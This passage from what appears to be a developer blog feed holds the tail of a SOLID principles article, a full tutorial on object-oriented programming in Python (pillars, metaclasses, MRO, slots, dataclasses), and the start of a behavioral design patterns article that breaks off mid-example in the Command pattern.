OCP	Extend without modifying existing code	Editing tested code every time requirements grow
LSP	Subtypes must behave like their base type	Subclasses that quietly break the parent's contract
ISP	Don't force unused methods on implementers	Bloated interfaces nobody fully implements honestly
DIP	Depend on abstractions, not concrete implementations	Business logic hardwired to specific infrastructure

Key Takeaways

SRP — If you need "and" to describe a class's job, split it
OCP — New requirements should mean new code, not edited code
LSP — A subclass must be safe to use anywhere the parent is expected
ISP — Small, role-specific interfaces beat one bloated one
DIP — Business logic depends on abstractions; infrastructure depends on those same abstractions

The Golden Rule of SOLID:

Every design pattern you've learned is SOLID applied to a specific shape of problem. Learn the principles, and you stop needing to memorize the patterns — you start deriving them.

SOLID isn't a checklist to run through on every class. It's a set of smells to notice: giant classes, endless elif chains, subclasses that throw NotImplementedError, fat interfaces, and hardcoded infrastructure. Fix the smell, and you've applied the principle — whether or not you consciously named it.

Design Patterns & Architecture Series

Creational Patterns — How to create objects properly
Structural Patterns - Part 1 — Adapter, Bridge, Composite, Decorator
Structural Patterns - Part 2 — Facade, Flyweight, Proxy
Behavioral Patterns — How objects communicate
OOP in Python — The foundations everything else builds on
SOLID Principles (This Article) — The reasoning behind every pattern above

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Python OOP, Finally Explained: From Classes to Metaclasses

Mahdi SHamlou | مهدی شاملو — Sun, 05 Jul 2026 16:55:16 +0000

Mahdi Shamlou here.

You've been through Design Patterns — Creational, Structural, Behavioral. now you already know one thing cold: Object-Oriented Programming.

Most developers know some OOP. They know classes, they know inheritance, they've written self a thousand times. But there's a gap between "I can write a class" and "I actually understand what OOP is doing for me" — and that gap is where bugs, bad abstractions, and unreadable codebases come from.

I've seen:

Classes with 20 attributes and no clear responsibility
Inheritance hierarchies four levels deep for what should've been one if statement
__init__ methods doing validation, I/O, and business logic all at once
Getters and setters copy-pasted from Java, in a language that doesn't need them
Multiple inheritance used without anyone understanding MRO

Let's fix that. This is OOP in Python, from the fundamentals to the parts most tutorials skip.

1. What Is OOP?

OOP is a way of structuring code around objects — bundles of data (attributes) and behavior (methods) — instead of around functions operating on loose data.

Instead of passing raw data between standalone functions, you model your problem as a set of objects that each know their own data and expose the operations that make sense on that data. A Dog knows its own name and knows how to bark(). A BankAccount knows its own balance and knows how to deposit() safely.

Everyone can quote "the four pillars" — Encapsulation, Inheritance, Polymorphism, Abstraction. Fewer people can tell you what each one actually buys you in real code, or how loosely Python enforces them compared to Java/C++. That's the gap Section 2 closes — one pillar at a time, with a sample, where you'd use it, and its pros and cons.

My Take:

Python implements all four pillars, but looser and more flexible than most languages that popularized OOP. That flexibility is a gift and a trap — Python won't stop you from breaking encapsulation or building a tangled inheritance mess, so the discipline has to come from you, not the compiler.

2. The Four Pillars of OOP, In Detail

2.1 Encapsulation

Description: Bundle data and behavior together in one unit, and control how the outside world is allowed to touch that data. Languages like Java give you real private/protected/public access modifiers enforced by the compiler. Python has the same three concepts, but only simulates them with naming conventions — nothing is actually locked:

Public (self.balance) — no restriction, accessible from anywhere.
Protected (self._balance, single underscore) — a convention meaning "internal use, subclasses can touch this, outsiders shouldn't." Python does not enforce it at all.
Private (self.__balance, double underscore) — triggers name mangling (renamed internally to _ClassName__balance), which mostly prevents accidental name clashes in subclasses. It's not real security — it's still reachable if you know the mangled name.

Sample:

class BankAccount:
    def __init__(self, balance):
        self.balance = balance          # public
        self._pin = "1234"              # protected (convention only)
        self.__account_number = "9999"  # private (name-mangled)

    def deposit(self, amount):
        if amount <= 0:
            raise ValueError("Deposit must be positive")
        self.balance += amount

account = BankAccount(1000)
print(account.balance)                       # 1000 — fine
print(account._pin)                          # "1234" — works, but breaks convention
print(account._BankAccount__account_number)  # "9999" — technically still reachable

Usage: Use encapsulation whenever an object owns state that must never become invalid — balances, quantities, statuses — so you route every change through a method (or a @property) instead of letting outside code poke at raw fields directly.

Pros:

Keeps invalid states from happening by accident
Internal representation can change without breaking the code that uses the object
Groups related data and logic in one readable place

Cons:

Python's privacy is convention-based, not enforced — a determined caller can bypass it
Overusing _/__ and properties for trivial fields adds needless ceremony

2.2 Inheritance

Description: Reuse and extend behavior from a parent ("base") class in a child ("derived") class. Models a genuine "is-a" relationship — a Dog is an Animal.

Sample:

class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        raise NotImplementedError

class Dog(Animal):
    def speak(self):
        return f"{self.name} says Woof!"

dog = Dog("Rex")
print(dog.speak())  # Rex says Woof! — inherited __init__, own speak()

Dog gets __init__ for free from Animal and only adds what's actually different.

Usage: Use inheritance when several classes genuinely share identity and behavior, and you want changes to the shared behavior to propagate to all of them automatically.

Pros:

Avoids duplicating shared behavior across related classes
Enables polymorphism (next section)
Models natural hierarchies cleanly when they're real

Cons:

Deep hierarchies get fragile — a change to the base ripples into every subclass
Tempts you into "is-a" relationships that are really "has-a" (see Composition, Section 4)
Tight coupling between parent and child

2.3 Polymorphism

Description: Objects of different classes respond to the same interface, each in its own way. This pillar has two ideas people mix up, so let's separate them:

Method overriding — a subclass redefines a method that its parent already has, giving it new behavior. This is fully supported in Python and is the normal way polymorphism works here.
Method overloading — defining multiple versions of the same method name that differ only by parameter type/count, and having the language pick the right one at call time (this is standard in Java/C++). Python does not support real method overloading — a later def with the same name simply replaces the earlier one. Python simulates the same outcome with default arguments, *args/**kwargs, or functools.singledispatch.

Sample — method overriding:

class Shape:
    def area(self):
        raise NotImplementedError

class Rectangle(Shape):
    def __init__(self, width, height):
        self.width, self.height = width, height
    def area(self):
        return self.width * self.height   # overrides Shape.area()

class Circle(Shape):
    def __init__(self, radius):
        self.radius = radius
    def area(self):
        return 3.14159 * self.radius ** 2  # overrides Shape.area()

for shape in [Rectangle(4, 5), Circle(3)]:
    print(shape.area())  # caller doesn't care which shape it is

Sample — simulating overloading (Python has no real overloading):

from functools import singledispatchmethod

class Printer:
    @singledispatchmethod
    def show(self, value):
        print(f"Value: {value}")

    @show.register
    def _(self, value: int):
        print(f"Integer: {value}")

    @show.register
    def _(self, value: str):
        print(f"String: {value}")

Printer().show(5)      # Integer: 5
Printer().show("hi")   # String: hi

Usage: Reach for overriding whenever subclasses need to specialize shared behavior. Reach for singledispatch/default arguments when you want "same name, different handling per type," since Python won't give you real overloading.

Pros:

Write code against an interface, not a concrete type — easy to extend with new subclasses
Duck typing (below) gets you polymorphism without even requiring a shared base class

Cons:

No compile-time checking — a missing/misspelled override just silently doesn't run
Simulated overloading (singledispatch, *args) is less discoverable than real overloading in statically typed languages

Bonus — duck typing: Python's actual, most common form of polymorphism doesn't need inheritance at all:

class Duck:
    def quack(self): print("Quack!")

class Person:
    def quack(self): print("I'm imitating a duck!")

def make_it_quack(thing):
    thing.quack()  # only cares that .quack() exists

make_it_quack(Duck())
make_it_quack(Person())

"If it walks like a duck and quacks like a duck, it's a duck."

2.4 Abstraction

Description: Expose what an object does while hiding how it does it. Python formalizes this with abc (Abstract Base Classes), which enforce a contract at instantiation time instead of just by convention.

Sample:

from abc import ABC, abstractmethod

class PaymentGateway(ABC):
    @abstractmethod
    def charge(self, amount): ...
    @abstractmethod
    def refund(self, amount): ...

class StripeGateway(PaymentGateway):
    def charge(self, amount):
        print(f"Charging ${amount} via Stripe")
    def refund(self, amount):
        print(f"Refunding ${amount} via Stripe")

# PaymentGateway()  # TypeError — can't instantiate an abstract class
gateway = StripeGateway()  # works — all abstract methods implemented

Anyone using PaymentGateway only needs to know it can charge(). They don't need to know if that means calling Stripe, PayPal, or a bank API underneath.

Usage: Use ABC when you're defining a contract that multiple implementations must follow — payment gateways, storage backends, exporters.

Pros:

Forces subclasses to implement required behavior, caught at instantiation time, not later at runtime
Defines a clear, explicit contract for a family of classes
Keeps implementation details out of the code that consumes the abstraction

Cons:

Adds ceremony for simple, one-off classes where a plain function or duck typing would do
Overusing ABCs risks the same rigidity problem as heavy inheritance

3. Classes, Objects, and What's Actually Going On Under the Hood

A class is a blueprint. An object (instance) is a concrete thing built from that blueprint.

class Dog:
    def __init__(self, name, breed):
        self.name = name
        self.breed = breed

    def bark(self):
        print(f"{self.name} says Woof!")

rex = Dog("Rex", "German Shepherd")
bella = Dog("Bella", "Poodle")

rex.bark()    # Rex says Woof!
bella.bark()  # Bella says Woof!

Dog is the class. rex and bella are objects — same blueprint, different data.

Attributes: instance vs. class

Instance attributes belong to one object. Class attributes are shared across every instance. Mixing these up is one of the most common real bugs in Python code.

class ShoppingCart:
    items = []  # class attribute — shared by ALL instances!

    def add_item(self, item):
        self.items.append(item)

cart1 = ShoppingCart()
cart2 = ShoppingCart()
cart1.add_item("Laptop")
cart2.add_item("Phone")

print(cart1.items)  # ['Laptop', 'Phone'] — BUG!

Fix it by putting mutable state in __init__:

class ShoppingCart:
    def __init__(self):
        self.items = []  # instance attribute — unique per object

Class attributes are still the right tool for genuinely shared data:

class Employee:
    company_name = "Acme Corp"   # shared, doesn't change per employee
    employee_count = 0

    def __init__(self, name):
        self.name = name
        Employee.employee_count += 1

So what is a class, really? Meet `type` and metaclasses

Here's the part most tutorials skip: in Python, everything is an object — including the class itself. A class is just an instance of something else, and that "something else" is called a metaclass.

print(type(42))     # <class 'int'>
print(type(int))    # <class 'type'>

int is a class. But int is also an object — an instance of type. type is the default metaclass that builds every class in Python, whether you write class Dog: explicitly or not.

A metaclass is the class that creates classes. When you write:

class Dog:
    def bark(self):
        print("Woof")

Python is really doing something like Dog = type("Dog", (), {"bark": ...}) behind the scenes. You can hook into that process and customize it:

class MyMeta(type):
    def __new__(cls, name, bases, namespace):
        print(f"Creating class: {name}")
        return super().__new__(cls, name, bases, namespace)


class Dog(metaclass=MyMeta):
    pass


class Cat(metaclass=MyMeta):
    pass

# output 
# Creating class: Dog
# Creating class: Cat

This is how frameworks like Django build ORM models — the metaclass intercepts class creation and auto-registers fields before the class even finishes being defined.

My Take:

You almost never need to write a metaclass. But knowing they exist changes how you read library code — when you see "magic" happening at class-definition time in Django or SQLAlchemy, a metaclass is usually the reason. As Tim Peters put it, metaclasses are deeper magic than 99% of users should ever worry about. Know it, don't reach for it.

4. OOP in Practice: Methods, Encapsulation, Inheritance, Polymorphism, Abstraction

Now let's actually build with it.

Instance, class, and static methods

class Pizza:
    def __init__(self, toppings):
        self.toppings = toppings

    def describe(self):                     # instance method — needs self
        return f"Pizza with {', '.join(self.toppings)}"

    @classmethod
    def margherita(cls):                    # class method — alternative constructor
        return cls(["tomato", "mozzarella", "basil"])

    @staticmethod
    def is_valid_topping(topping):          # static method — just a utility
        return topping in {"tomato", "mozzarella", "basil", "pepperoni"}

Method type	First argument	Accesses instance?	Accesses class?	Common use
Instance method	`self`	Yes	Yes (`type(self)`)	Normal object behavior
Class method	`cls`	No	Yes	Alternative constructors
Static method	none	No	No	Utility grouped with the class

Encapsulation, the Pythonic way

Python has no true private, just naming conventions: balance (public), _pin (convention: internal), __account_number (name-mangled).

The real tool is @property:

class BankAccount:
    def __init__(self, balance):
        self._balance = balance

    @property
    def balance(self):
        return self._balance

    @balance.setter
    def balance(self, value):
        if value < 0:
            raise ValueError("Balance cannot be negative")
        self._balance = value

My Take: Don't cargo-cult Java's get_x()/set_x() into Python. Start with plain public attributes; add a @property only when you need validation or a computed value. It doesn't break your API later, since obj.attr still works.

Inheritance and composition

class Employee:
    def __init__(self, name, salary):
        self.name = name
        self.salary = salary

class Manager(Employee):
    def __init__(self, name, salary, team_size):
        super().__init__(name, salary)
        self.team_size = team_size

But not every relationship should be inheritance. A Car isn't a kind of Engine — it has one:

class Engine:
    def start(self):
        print("Engine starting...")

class Car:
    def __init__(self):
        self.engine = Engine()  # Car HAS an engine

    def drive(self):
        self.engine.start()

My Take: This is the single most valuable lesson in this whole guide. Before writing class B(A):, ask: "Is B really a kind of A, or does B just need something A can do?" If it's the latter, compose.

Polymorphism and duck typing

class Duck:
    def quack(self):
        print("Quack!")

class Person:
    def quack(self):
        print("I'm imitating a duck!")

def make_it_quack(thing):
    thing.quack()  # doesn't care about type, only that .quack() exists

make_it_quack(Duck())
make_it_quack(Person())

No shared base class needed — this is Python's real polymorphism. "If it walks like a duck and quacks like a duck, it's a duck."

Abstraction with ABC

from abc import ABC, abstractmethod

class PaymentGateway(ABC):
    @abstractmethod
    def charge(self, amount): ...
    @abstractmethod
    def refund(self, amount): ...

class StripeGateway(PaymentGateway):
    def charge(self, amount):
        print(f"Charging ${amount} via Stripe")
    def refund(self, amount):
        print(f"Refunding ${amount} via Stripe")

# PaymentGateway()  # TypeError — can't instantiate an abstract class

If StripeGateway forgot refund(), Python refuses to instantiate it. The contract is enforced, not just a convention.

Dunder methods: making your objects feel native

class Book:
    def __init__(self, title, pages):
        self.title = title
        self.pages = pages

    def __str__(self):
        return f"'{self.title}' ({self.pages} pages)"

    def __eq__(self, other):
        return self.title == other.title and self.pages == other.pages

    def __lt__(self, other):
        return self.pages < other.pages

books = [Book("Refactoring", 448), Book("Clean Code", 464)]
print(sorted(books))  # uses __lt__

My Take: Always implement __repr__. It costs one line and saves hours of debugging.

Dataclasses: less boilerplate for data-holding classes

from dataclasses import dataclass, field

@dataclass
class Order:
    id: int
    items: list = field(default_factory=list)  # avoids the mutable-default trap
    total: float = 0.0

__init__, __repr__, and __eq__ are generated for you. If your __init__ is just self.x = x five times over, stop and use @dataclass.

5. `super()` and Friends: One Section for All the "Which Method Runs?" Confusion

This is the part that trips people up most, so it gets its own section, all together.

`super()` in single inheritance

class Employee:
    def __init__(self, name, salary):
        self.name = name
        self.salary = salary

class Manager(Employee):
    def __init__(self, name, salary, team_size):
        super().__init__(name, salary)  # let the parent init its own fields
        self.team_size = team_size

super() calls the parent's implementation instead of re-typing it.

Multiple inheritance and MRO

Python allows inheriting from more than one parent — and resolves conflicts with the Method Resolution Order (MRO), a deterministic left-to-right order computed by the C3 linearization algorithm.

class Flyer:
    def move(self):
        return "Flying"

class Swimmer:
    def move(self):
        return "Swimming"

class Duck(Flyer, Swimmer):
    pass

print(Duck().move())     # "Flying" — Flyer is listed first
print(Duck.__mro__)
# (Duck, Flyer, Swimmer, object)

`super()` in multiple inheritance follows the MRO, not just "the parent"

class Base:
    def greet(self):
        print("Base greet")

class A(Base):
    def greet(self):
        print("A greet")
        super().greet()

class B(Base):
    def greet(self):
        print("B greet")
        super().greet()

class C(A, B):
    def greet(self):
        print("C greet")
        super().greet()

C().greet()
# C greet
# A greet
# B greet
# Base greet

super() doesn't mean "my direct parent" — it means "the next class in the MRO chain." That's what lets cooperative multiple inheritance actually work.

Mixins: multiple inheritance, scoped responsibly

class JSONExportMixin:
    def to_json(self):
        import json
        return json.dumps(self.__dict__)

class LoggingMixin:
    def log(self, message):
        print(f"[{self.__class__.__name__}] {message}")

class User(JSONExportMixin, LoggingMixin):
    def __init__(self, name):
        self.name = name

User("Alice").log("User created")  # [User] User created

A mixin isn't meant to stand alone — it exists purely to bolt one focused capability onto other classes. Django's class-based views are built almost entirely on this idea.

My Take: Multiple inheritance is a sharp tool. Understand __mro__ before using it beyond simple mixins. If you're ever confused about which method will run, that's your signal to simplify — often composition is the safer call here too.

6. `slots` and the Other Attribute Tricks Worth Knowing

By default, every instance carries a __dict__ to hold its attributes — flexible, but memory-heavy. __slots__ fixes the attribute set in advance.

class PointDict:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    # has a __dict__ — flexible, more memory per instance

class PointSlots:
    __slots__ = ("x", "y")

    def __init__(self, x, y):
        self.x = x
        self.y = y
    # no __dict__ — fixed attributes, less memory per instance

p = PointSlots(1, 2)
p.z = 3  # AttributeError: 'PointSlots' object has no attribute 'z'

Pros: less memory per instance, slightly faster attribute access, catches typo-attributes early.
Cons: no dynamic attributes, and multiple inheritance with slots needs care.

My Take: __slots__ is a micro-optimization — genuinely useful when you're instantiating millions of objects (parsers, game entities, data records), pointless overhead everywhere else. Don't add it by default.

Other attribute-related tools worth having in your pocket

@property — expose a computed value as if it were plain data:

  class Rectangle:
      def __init__(self, width, height):
          self.width, self.height = width, height

      @property
      def area(self):
          return self.width * self.height  # computed on access, not stored

If a value can be derived from other attributes, don't store it and risk it going stale.

__init_subclass__ — a lighter alternative to a metaclass when you just want to hook into subclass creation:

  class Plugin:
      registry = []
      def __init_subclass__(cls, **kwargs):
          super().__init_subclass__(**kwargs)
          Plugin.registry.append(cls)

Name mangling (__attr) — mostly for avoiding naming collisions in subclasses, not real security. self.__x inside a class becomes self._ClassName__x.

Comparison Table: Choosing the Right Tool

Concept	Use It When...
Plain class	You need bundled data + behavior, nothing fancy
`@dataclass`	The class is mostly data with little to no custom logic
Inheritance	A true "is-a" relationship exists with shared behavior
Composition	A "has-a" relationship exists, or you need swappable parts
`@property`	You need validation or a computed value that reads like data
`ABC` / abstract methods	Multiple implementations must follow the same contract
Mixin	You need one reusable, focused capability across unrelated classes
`__slots__`	You're creating a huge number of instances and memory matters
Metaclass	You're building a framework-level tool (rare in application code)

Key Takeaways

The four pillars — encapsulation, inheritance, polymorphism, abstraction — each solves a different problem, not just theory to quote
Classes are objects too — every class is an instance of type (or a custom metaclass)
Instance vs. class attributes — know which one you're actually modifying
Composition over inheritance — the most valuable lesson in this whole guide
super() follows the MRO, not just "the direct parent" — check __mro__ when in doubt
__slots__ is a memory optimization, not a default
Metaclasses — know they exist, rarely write your own

The Golden Rule of OOP in Python:

Model relationships honestly. "Is-a" gets inheritance. "Has-a" gets composition. Everything else is just a function that doesn't need a class at all.

Python doesn't force you into heavy OOP the way Java does. Use classes when they earn their complexity — not because "object-oriented" sounds more professional than a plain function.

Design Patterns & Architecture Series

Creational Patterns — How to create objects properly
Structural Patterns - Part 1 — Adapter, Bridge, Composite, Decorator
Structural Patterns - Part 2 — Facade, Flyweight, Proxy
Behavioral Patterns — How objects communicate
OOP in Python (This Article) — The foundations everything else builds on

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Behavioral Design Patterns 2026: Strategy, Observer, Command, State & More — Production Examples

Mahdi SHamlou | مهدی شاملو — Wed, 17 Jun 2026 19:06:13 +0000

Mahdi Shamlou here.

You've mastered Creational Patterns. You understand how to build objects.

You've conquered Structural Patterns. You know how to organize relationships between objects.

Now it's time for the final piece: Behavioral Design Patterns.

This is where things get interesting.

Behavioral patterns answer the hardest question in software design:

How should objects communicate and collaborate?

I've seen systems where:

Objects were tightly coupled, making changes impossible
State management was scattered everywhere
Adding new behaviors required modifying dozens of classes
Event handling was chaotic and unmaintainable
Control flow was buried in complex conditionals

Most of these problems disappear when you apply the right behavioral pattern.

The difference between junior and senior developers often comes down to how well they manage behavior and communication between objects.

Let's dive into the patterns that separate them.

What Are Behavioral Design Patterns?

Behavioral patterns focus on how objects interact and distribute responsibility.

While Creational patterns ask: "How do I create objects?"

And Structural patterns ask: "How do I organize objects?"

Behavioral patterns ask: "How do objects talk to each other? Who does what?"

The behavioral patterns are:

Strategy — Choose an algorithm at runtime
Observer — Notify multiple objects about state changes
Command — Encapsulate requests as objects
State — Change behavior based on internal state
Template Method — Define algorithm structure, let subclasses fill in details
Chain of Responsibility — Pass requests through handlers
Iterator — Traverse collections without exposing implementation details
Mediator — Centralize communication between objects
Memento — Save and restore object state
Visitor — Add operations without changing existing classes
Interpreter — Define and evaluate a custom language or grammar

Let's explore each with production code.

Behavioral Patterns That Matter

1. Strategy Pattern

The Strategy pattern defines a family of algorithms, encapsulates each one, and makes them interchangeable.

It lets the algorithm vary independently from clients that use it.

Imagine a payment system. You support:

Credit card payments
PayPal
Stripe
Bitcoin

Without Strategy, your checkout code becomes a giant conditional:

if payment_method == "credit_card":
    # 50 lines of credit card logic
elif payment_method == "paypal":
    # 50 lines of PayPal logic
elif payment_method == "stripe":
    # 50 lines of Stripe logic
# ... nightmare

With Strategy, each payment method is a separate, interchangeable algorithm.

When to use it:

Multiple algorithms for a task
Different payment methods
Compression algorithms (zip, gzip, rar)
Sorting algorithms (quicksort, mergesort, bubblesort)
Data export formats (JSON, CSV, XML)
Pricing strategies (standard, premium, enterprise)
Search/filtering strategies

Bad code (without pattern)

class PaymentProcessor:
    def process_payment(self, amount, method):
        if method == "credit_card":
            # 30 lines of credit card processing
            print(f"Processing ${amount} with credit card")
            print("Validating card...")
            print("Checking fraud detection...")
            print("Charging card...")
            print("Payment complete")
            return True

        elif method == "paypal":
            # 30 lines of PayPal processing
            print(f"Processing ${amount} with PayPal")
            print("Redirecting to PayPal...")
            print("Waiting for PayPal confirmation...")
            print("Payment complete")
            return True

        elif method == "bitcoin":
            # 30 lines of Bitcoin processing
            print(f"Processing ${amount} with Bitcoin")
            print("Generating wallet address...")
            print("Waiting for blockchain confirmation...")
            print("Payment complete")
            return True

        else:
            raise ValueError("Unknown payment method")

# Every new payment method requires modifying this class
processor = PaymentProcessor()
processor.process_payment(100, "credit_card")
processor.process_payment(100, "paypal")

Problems:

Giant conditional logic
Hard to test each strategy
Hard to add new strategies
Violates Single Responsibility Principle

Good code (with Strategy)

from abc import ABC, abstractmethod

# Strategy interface
class PaymentStrategy(ABC):
    @abstractmethod
    def pay(self, amount):
        pass

# Concrete strategies
class CreditCardStrategy(PaymentStrategy):
    def __init__(self, card_number, cvv):
        self.card_number = card_number
        self.cvv = cvv

    def pay(self, amount):
        print(f"Processing ${amount} with credit card {self.card_number[-4:]}")
        print("Validating card...")
        print("Checking fraud detection...")
        print("Charging card...")
        return True

class PayPalStrategy(PaymentStrategy):
    def __init__(self, email):
        self.email = email

    def pay(self, amount):
        print(f"Processing ${amount} with PayPal ({self.email})")
        print("Redirecting to PayPal...")
        print("Waiting for PayPal confirmation...")
        return True

class BitcoinStrategy(PaymentStrategy):
    def __init__(self, wallet_address):
        self.wallet_address = wallet_address

    def pay(self, amount):
        print(f"Processing ${amount} with Bitcoin to {self.wallet_address[:10]}...")
        print("Generating transaction...")
        print("Waiting for blockchain confirmation...")
        return True

class StripeStrategy(PaymentStrategy):
    def __init__(self, stripe_token):
        self.stripe_token = stripe_token

    def pay(self, amount):
        print(f"Processing ${amount} with Stripe")
        print("Contacting Stripe API...")
        print("Payment successful")
        return True

# Context: Uses the strategy
class PaymentProcessor:
    def __init__(self, strategy: PaymentStrategy):
        self.strategy = strategy

    def process_payment(self, amount):
        return self.strategy.pay(amount)

# Client code: Simple and flexible
credit_card = CreditCardStrategy("4111111111111111", "123")
processor = PaymentProcessor(credit_card)
processor.process_payment(100)

paypal = PayPalStrategy("user@example.com")
processor = PaymentProcessor(paypal)
processor.process_payment(100)

bitcoin = BitcoinStrategy("1A1z7agoat")
processor = PaymentProcessor(bitcoin)
processor.process_payment(100)

# Add new strategy? Just create a new class, no modifications needed

Pros:

Easy to add new algorithms
Eliminates large conditional statements
Makes algorithms interchangeable
Each strategy is testable in isolation
Follows Single Responsibility Principle

Cons:

More classes to manage
Overhead for simple cases
Clients need to know which strategy to choose

My Take:

Strategy is one of the most practical patterns in real production systems.

Every time you see a big if-elif-elif chain, think Strategy. It's almost always the right answer.

Payment methods, export formats, sorting algorithms, caching strategies—they're all perfect use cases for Strategy.

The key insight: If you're choosing between different ways to do something, Strategy is your pattern.

2. Observer Pattern

The Observer pattern defines a one-to-many dependency between objects so that when one object changes state, all its dependents are notified automatically.

Think about a stock ticker. When a stock price changes, multiple traders, monitors, and alerts need to know immediately.

Without Observer, the stock would need to know about every trader, monitor, and alert (tight coupling).

With Observer, the stock simply notifies anyone who's interested.

When to use it:

Event systems (UI buttons, input fields)
Stock ticker systems
Real-time notifications
MVC architectures (model changes notify views)
Pub/Sub systems
Event-driven architecture
Social media (following users)

Bad code (without pattern)

class Stock:
    def __init__(self, symbol, price):
        self.symbol = symbol
        self.price = price
        self.traders = []
        self.monitors = []
        self.alerts = []

    def set_price(self, new_price):
        old_price = self.price
        self.price = new_price

        # The stock knows about all these systems (bad coupling!)
        for trader in self.traders:
            trader.notify_price_change(self.symbol, old_price, new_price)

        for monitor in self.monitors:
            monitor.update_display(self.symbol, new_price)

        for alert in self.alerts:
            alert.check_threshold(self.symbol, new_price)

    def register_trader(self, trader):
        self.traders.append(trader)

    def register_monitor(self, monitor):
        self.monitors.append(monitor)

    def register_alert(self, alert):
        self.alerts.append(alert)

# Stock knows too much about its dependents

Problems:

Stock is tightly coupled to all observers
Adding new observer types requires modifying Stock
Hard to test
Violates Single Responsibility

Good code (with Observer)

from abc import ABC, abstractmethod

# Observer interface
class StockObserver(ABC):
    @abstractmethod
    def update(self, symbol, price):
        pass

# Subject
class Stock:
    def __init__(self, symbol, price):
        self.symbol = symbol
        self.price = price
        self._observers = []

    def attach(self, observer: StockObserver):
        """Subscribe an observer"""
        if observer not in self._observers:
            self._observers.append(observer)

    def detach(self, observer: StockObserver):
        """Unsubscribe an observer"""
        self._observers.remove(observer)

    def notify(self):
        """Notify all observers of changes"""
        for observer in self._observers:
            observer.update(self.symbol, self.price)

    def set_price(self, new_price):
        print(f"{self.symbol} price changed from ${self.price} to ${new_price}")
        self.price = new_price
        self.notify()  # Notify all interested parties

# Concrete observers
class Trader(StockObserver):
    def __init__(self, name):
        self.name = name

    def update(self, symbol, price):
        print(f"Trader {self.name}: {symbol} is now ${price}")

class Monitor(StockObserver):
    def __init__(self, name):
        self.name = name

    def update(self, symbol, price):
        print(f"Monitor {self.name}: Updating display for {symbol} = ${price}")

class PriceAlert(StockObserver):
    def __init__(self, name, threshold):
        self.name = name
        self.threshold = threshold

    def update(self, symbol, price):
        if price > self.threshold:
            print(f"Alert {self.name}: {symbol} exceeded threshold! Price: ${price}")

# Client code
apple = Stock("AAPL", 150)

# Attach observers
trader1 = Trader("Alice")
trader2 = Trader("Bob")
monitor = Monitor("Dashboard")
alert = PriceAlert("HighAlert", 155)

apple.attach(trader1)
apple.attach(trader2)
apple.attach(monitor)
apple.attach(alert)

# Stock doesn't know about specific observer types
# Just notifies them
apple.set_price(152)
apple.set_price(156)  # Alert triggers

# Detach if needed
apple.detach(trader1)
apple.set_price(157)  # Alice doesn't get notified

Real-World Example: Event System

class Button:
    def __init__(self):
        self._listeners = []

    def on_click(self, listener):
        """Register click listener"""
        self._listeners.append(listener)

    def click(self):
        """Simulate button click"""
        print("Button clicked")
        for listener in self._listeners:
            listener()

# Usage
button = Button()
button.on_click(lambda: print("Action 1: Save file"))
button.on_click(lambda: print("Action 2: Send notification"))
button.on_click(lambda: print("Action 3: Log event"))

button.click()  # All listeners are notified

Pros:

Loose coupling between subject and observers
Dynamic subscription/unsubscription
Multiple observers supported
Follows Single Responsibility
Allows broadcast communication

Cons:

Observer order is unpredictable
Memory leaks if observers aren't unsubscribed
Can be hard to debug event chains
Performance overhead with many observers

My Take:

Observer is fundamental to modern event-driven systems.

You use it constantly:

React/Vue with event handlers
Django signals for model changes
Webhook systems for notifications
Event buses in microservices

The key insight: When you have one thing changing and many things that need to react, use Observer.

Don't make objects directly call each other. Let them observe and react independently.

3. Command Pattern

The Command pattern encapsulates a request as an object, thereby letting you parameterize clients with different requests, queue requests, and log requests.

It turns an action into a standalone object.

Think about a text editor's undo/redo. Every action (delete text, insert text, format) is a Command object.

To undo, you just pop the last command off the stack and reverse it.

When to use it:

Undo/redo functionality
Task queuing and scheduling
Macro recording
Asynchronous task execution
Transaction management
Request logging
Callback systems

Bad code (without pattern)

class TextEditor:
    def __init__(self):
        self.text = ""
        self.history = []
        self.undo_stack = []

    def insert_text(self, text):
        self.text += text
        self.history.append(("insert", text))

    def delete_text(self, count):
        self.text = self.text[:-count]
        self.history.append(("delete", count))

    def make_bold(self, start, end):
        # Complex formatting logic
        self.history.append(("bold", start, end))

    def undo(self):
        if not self.history:
            return

        action = self.history.pop()

        if action[0] == "insert":
            self.text = self.text[:-len(action[1])]
        elif action[0] == "delete":
            # Can't easily undo delete without storing deleted text
            pass
        elif action[0] == "bold":
            # How do you undo bold?
            pass

    def redo(self):
        # Redo logic (complicated and fragile)
        pass

# Problems:
# - Undo logic is scattered
# - Each action needs special undo handling
# - Hard to add new actions
# - Bug-prone

Good code (with Command)

from abc import ABC, abstractmethod

# Command interface
class Command(ABC):
    @abstractmethod
    def execute(self):
        pass

    @abstractmethod
    def undo(self):
        pass

# Concrete commands
class InsertTextCommand(Command):
    def __init__(self, editor, text):
        self.editor = editor
        self.text = text

    def execute(self):
        self.editor.text += self.text

    def undo(self):
        self.editor.text = self.editor.text[:-len(self.text)]

class DeleteTextCommand(Command):
    def __init__(self, editor, count):
        self.editor = editor
        self.count = count
        self.deleted_text = None

    def execute(self):
        self.deleted_text = self.editor.text[-self.count:]
        self.editor.text = self.editor.text[:-self.count]

    def undo(self):
        self.editor.text += self.deleted_text

class MakeBoldCommand(Command):
    def __init__(self, editor, start, end):
        self.editor = editor
        self.start = start
        self.end = end
        self.original_text = None

    def execute(self):
        self.original_text = self.editor.text[self.start:self.end]
        bold_text = f"**{self.original_text}**"
        self.editor.text = (
            self.editor.text[:self.start] +
            bold_text +
